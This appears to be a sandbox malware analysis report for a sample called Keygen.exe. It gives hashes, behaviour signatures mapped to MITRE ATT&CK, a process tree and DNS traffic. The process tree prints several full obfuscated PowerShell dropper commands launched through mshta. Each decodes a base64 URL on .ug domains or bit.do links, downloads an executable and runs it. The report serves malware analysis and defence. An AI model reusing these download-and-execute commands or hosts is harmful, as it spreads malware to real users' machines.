38bc13ef112b2f17d4d1a80243fac6a521b5d58228984aae0752d79487fa3b66

Resubmissions

20/04/2025, 00:10 UTC

250420-agcc8axyax 10

16/04/2025, 11:04 UTC

250416-m58gsaz1ay 10

15/04/2025, 17:34 UTC

250415-v5ylksypw9 10

15/04/2025, 06:16 UTC

250415-g1p7ras1dw 10

14/04/2025, 08:06 UTC

250414-jzpwpstxhx 10

14/04/2025, 07:59 UTC

250414-jvg1assky4 10

14/04/2025, 07:22 UTC

250414-h7g1dss1h1 10

Analysis

max time kernel
142s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20250410-en
resource tags

arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
submitted
11/04/2025, 21:39 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Keygen.exe
Size

849KB
MD5

dbde61502c5c0e17ebc6919f361c32b9
SHA1

189749cf0b66a9f560b68861f98c22cdbcafc566
SHA256

88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
SHA512

d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb
SSDEEP

24576:uSdQdKdRdOdHdmHBnWs/nROBiGR4+hazer+Vufo/JxBYQ5:hH9DnR1Z+45Ufo/PBL

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

# powershell snippet 0

[void]$null

$wdxubevfic = get-random -min 3 -max 4

$qidanupkvwj = [char[]][char](97.."z")

$jfwlpghdovb = -join $qidanupkvwj|get-random -count $wdxubevfic|%{[char]$_}

$hdxnlosbpmk = ".exe"

$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk

$sypim = "SaL"

$xzrhm = "IEX"

$edxlnf = "sApS"

set-alias iyhxbstew "SaL"

$kjavpydntew = "Net.WebClient"

set-alias bruolc "IEX"

$andcvkhb = "$env:PUBLIC"|invoke-expression

set-alias cplmfksidr "sApS"

$bykmo = $andcvkhb + "\\" + $zdkhpw

$zvngemsbua = "aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl"

$zvngemsbua = "http://zxvbcrt.ug/zxcvb.exe"

$mzyjvgc = new-object "Net.WebClient"

$ihtxzqnbs = $mzyjvgc.downloaddata("http://zxvbcrt.ug/zxcvb.exe")

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
12	4844	powershell.exe
14	3060	powershell.exe
15	3692	powershell.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation	Keygen.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
888	Keygen.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4740	powershell.exe
4844	powershell.exe
5024	powershell.exe
3060	powershell.exe
3692	powershell.exe
1964	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
3832	timeout.exe
5020	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2645532622-3298555945-705856666-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
776	vlc.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4740	powershell.exe
4844	powershell.exe
4740	powershell.exe
4740	powershell.exe
4844	powershell.exe
4844	powershell.exe
5024	powershell.exe
5024	powershell.exe
3060	powershell.exe
3060	powershell.exe
5024	powershell.exe
3060	powershell.exe
3692	powershell.exe
3692	powershell.exe
3692	powershell.exe
1964	powershell.exe
1964	powershell.exe
1964	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
776	vlc.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeDebugPrivilege	3692	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
776	vlc.exe
776	vlc.exe
776	vlc.exe
776	vlc.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
776	vlc.exe
776	vlc.exe
776	vlc.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
888	Keygen.exe
776	vlc.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 412 wrote to memory of 1548	412	Keygen.exe	86
PID 412 wrote to memory of 1548	412	Keygen.exe	86
PID 412 wrote to memory of 1548	412	Keygen.exe	86
PID 1548 wrote to memory of 888	1548	cmd.exe	89
PID 1548 wrote to memory of 888	1548	cmd.exe	89
PID 1548 wrote to memory of 888	1548	cmd.exe	89
PID 1548 wrote to memory of 4072	1548	cmd.exe	90
PID 1548 wrote to memory of 4072	1548	cmd.exe	90
PID 1548 wrote to memory of 4072	1548	cmd.exe	90
PID 1548 wrote to memory of 2984	1548	cmd.exe	91
PID 1548 wrote to memory of 2984	1548	cmd.exe	91
PID 1548 wrote to memory of 2984	1548	cmd.exe	91
PID 1548 wrote to memory of 3832	1548	cmd.exe	92
PID 1548 wrote to memory of 3832	1548	cmd.exe	92
PID 1548 wrote to memory of 3832	1548	cmd.exe	92
PID 2984 wrote to memory of 4740	2984	mshta.exe	93
PID 2984 wrote to memory of 4740	2984	mshta.exe	93
PID 2984 wrote to memory of 4740	2984	mshta.exe	93
PID 4072 wrote to memory of 4844	4072	mshta.exe	95
PID 4072 wrote to memory of 4844	4072	mshta.exe	95
PID 4072 wrote to memory of 4844	4072	mshta.exe	95
PID 1548 wrote to memory of 4532	1548	cmd.exe	97
PID 1548 wrote to memory of 4532	1548	cmd.exe	97
PID 1548 wrote to memory of 4532	1548	cmd.exe	97
PID 1548 wrote to memory of 3472	1548	cmd.exe	98
PID 1548 wrote to memory of 3472	1548	cmd.exe	98
PID 1548 wrote to memory of 3472	1548	cmd.exe	98
PID 1548 wrote to memory of 5020	1548	cmd.exe	99
PID 1548 wrote to memory of 5020	1548	cmd.exe	99
PID 1548 wrote to memory of 5020	1548	cmd.exe	99
PID 3472 wrote to memory of 5024	3472	mshta.exe	100
PID 3472 wrote to memory of 5024	3472	mshta.exe	100
PID 3472 wrote to memory of 5024	3472	mshta.exe	100
PID 4532 wrote to memory of 3060	4532	mshta.exe	102
PID 4532 wrote to memory of 3060	4532	mshta.exe	102
PID 4532 wrote to memory of 3060	4532	mshta.exe	102
PID 1548 wrote to memory of 5132	1548	cmd.exe	104
PID 1548 wrote to memory of 5132	1548	cmd.exe	104
PID 1548 wrote to memory of 5132	1548	cmd.exe	104
PID 5132 wrote to memory of 3692	5132	mshta.exe	105
PID 5132 wrote to memory of 3692	5132	mshta.exe	105
PID 5132 wrote to memory of 3692	5132	mshta.exe	105
PID 1548 wrote to memory of 4916	1548	cmd.exe	107
PID 1548 wrote to memory of 4916	1548	cmd.exe	107
PID 1548 wrote to memory of 4916	1548	cmd.exe	107
PID 4916 wrote to memory of 1964	4916	mshta.exe	108
PID 4916 wrote to memory of 1964	4916	mshta.exe	108
PID 4916 wrote to memory of 1964	4916	mshta.exe	108

C:\Users\Admin\AppData\Local\Temp\Keygen.exe
"C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:412
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AB24.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Users\Admin\AppData\Local\Temp\AB24.tmp\Keygen.exe
    Keygen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:888
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AB24.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4844
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AB24.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4740
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:3832
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AB24.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3060
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AB24.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5024
- - C:\Windows\SysWOW64\timeout.exe
    timeout 2
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:5020
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AB24.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5132
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3692
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AB24.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1964

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4536

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Downloads\ClearMeasure.asx"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:776

Network

DNS

zxvbcrt.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

zxvbcrt.ug

IN A

Response
DNS

bit.do

powershell.exe

Remote address:

8.8.8.8:53

Request

bit.do

IN A

Response

bit.do

IN A

23.21.31.78
DNS

pdshcjvnv.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

pdshcjvnv.ug

IN A

Response
DNS

pdshcjvnv.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

pdshcjvnv.ug

IN A

Response
DNS

rbcxvnb.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

rbcxvnb.ug

IN A

Response
DNS

c.pki.goog

Remote address:

8.8.8.8:53

Request

c.pki.goog

IN A

Response

c.pki.goog

IN CNAME

pki-goog.l.google.com

pki-goog.l.google.com

IN A

142.250.180.3
DNS

c.pki.goog

Remote address:

8.8.8.8:53

Request

c.pki.goog

IN A
GET

http://c.pki.goog/r/r1.crl

Remote address:

142.250.180.3:80

Request

GET /r/r1.crl HTTP/1.1
Cache-Control: max-age = 3000
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 03 Apr 2025 14:18:00 GMT
User-Agent: Microsoft-CryptoAPI/10.0
Host: c.pki.goog

Response

HTTP/1.1 304 Not Modified

Date: Fri, 11 Apr 2025 21:35:47 GMT
Expires: Fri, 11 Apr 2025 22:25:47 GMT
Age: 387
Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT
Cache-Control: public, max-age=3000
Vary: Accept-Encoding

23.21.31.78:80

bit.do

powershell.exe

260 B
5
23.21.31.78:80

bit.do

powershell.exe

260 B
5
23.21.31.78:80

bit.do

powershell.exe

260 B
5
142.250.180.3:80

http://c.pki.goog/r/r1.crl

http

384 B
354 B
4
3

HTTP Request

GET http://c.pki.goog/r/r1.crl

HTTP Response

304

8.8.8.8:53

zxvbcrt.ug

dns

powershell.exe

56 B
120 B
1
1

DNS Request

zxvbcrt.ug
8.8.8.8:53

bit.do

dns

powershell.exe

52 B
68 B
1
1

DNS Request

bit.do

DNS Response

23.21.31.78
8.8.8.8:53

pdshcjvnv.ug

dns

powershell.exe

116 B
116 B
2
2

DNS Request

pdshcjvnv.ug

DNS Request

pdshcjvnv.ug
8.8.8.8:53

rbcxvnb.ug

dns

powershell.exe

56 B
120 B
1
1

DNS Request

rbcxvnb.ug
8.8.8.8:53

c.pki.goog

dns

112 B
107 B
2
1

DNS Request

c.pki.goog

DNS Request

c.pki.goog

DNS Response

142.250.180.3

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

